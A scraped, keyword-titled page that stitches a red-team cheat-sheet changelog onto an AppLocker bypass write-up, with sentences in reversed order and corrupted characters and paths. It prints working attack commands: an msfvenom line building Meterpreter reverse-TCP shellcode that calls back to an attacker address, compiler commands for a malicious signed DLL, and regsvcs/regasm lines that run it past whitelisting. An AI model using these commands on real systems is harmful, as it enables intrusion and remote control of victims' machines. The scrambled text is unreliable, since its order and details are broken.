Bypass applocker windows 7 keygen#
Notable changes have been made to the the sections on LAPS, AppLocker & CLM, PowerView, and Overpass-the-Hash with Rubeus.
New sections have been added on DPAPI and GPO abuse. I’ve re-written and improved many sections. Updated June 5th, 2021: I have made some more changes to this post based on (among others) techniques discussed in ZeroPointSecurity’s ‘Red Team Ops’ course (for the CRTO certification). Changes made to the Defender evasion, RBCD, Domain Enumeration, Rubeus, and Mimikatz sections. Updated November 3rd, 2021: Included several fixes and actualized some techniques. Abusing the Data Protection API (DPAPI) with Mimikatz.Modifying DC registry security descriptors for remote hash retrieval using DAMP.Modifying security descriptors for PowerShell Remoting access.Modifying security descriptors for remote WMI access.Grant specific user DCSync rights with PowerView.Abusing Group Policy Objects for lateral movement.Abusing MSSQL databases for lateral movement.Command execution with PowerShell Remoting.Lateral Movement Enumeration With PowerView.This is the proof that in a system that execution of malicious binaries is prohibited through AppLocker policies trusted Microsoft binaries can bypass these restrictions and execute malicious code.Ĭ:\Windows\Microsoft.NET\Framework\v9\regsvcs.exe regsvcs.dllĬ:\Windows\Microsoft.NET\Framework\v9\regsvcs.exe /U regsvcs.dllĬ:\Windows\Microsoft.NET\Framework\v9\regasm.exe regsvcs.dllĬ:\Windows\Microsoft.NET\Framework\v9\regasm.exe /U regsvcs.
The key.snk file needs to be used as well for signing the DLL.Ĭ:\Windows\Microsoft.NET\Framework\v9\csc.exe /r: /target:library /out:regsvcs.dll /keyfile:key.snk regsvcs.csīoth binaries regsvcs.exe and RegAsm.exe can be utilized to execute the malicious shellcode which is inside the DLL file and eventually to open a Meterpreter session. NET framework contains a Visual C# compiler that is running from the command prompt and can generate the malicious DLL file. Msfvenom -a x86 -platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.100.3 LPORT=4444 -f csharp Metasploit MsfVenom can be used to produce the malicious shellcode that it will be executed on the target system. The command below will generate a private and a public key pair and these values will be written into a file called key.snk. NET framework tools and can be used to generate pairs of public and private keys. Microsoft has released a utility with the name Sn.exe (Strong Name Tool) which is part of Visual Studio and. The only requirement is that the assembly files needs to be signed with a strong name. These binaries can be found in the .NET framework and since they are trusted Microsoft utilities can be used as another method to bypass AppLocker restrictions and execute arbitrary code.Ĭasey Smith discovered that it is possible to manipulate the functionality of these executables in order to run malicious code. Regasm and Regsvcs are both Microsoft binaries that are used to register an assembly file with COM objects.
